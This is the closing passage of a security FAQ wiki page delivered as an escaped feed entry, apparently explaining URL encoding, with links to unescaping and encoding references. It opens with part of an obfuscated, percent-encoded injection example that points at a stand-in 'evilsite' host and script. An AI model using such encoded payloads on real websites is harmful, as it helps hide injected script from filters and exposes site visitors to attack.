%65%76il%73ite/%3F%65%76il%73&lt;br /&gt;
cript.%70l%22%29%29%3B&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]&lt;br /&gt;
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- KEEP THIS AT THE END OF THE PAGE --&amp;gt;&lt;br /&gt;
[[Category:Security]]&lt;br /&gt;
[[Category:FAQ]]&lt;br /&gt;
[[Category:Security_FAQ]]&lt;/div&gt;</summary>
		<author><name>Robo1999</name></author>
	</entry>
</feed>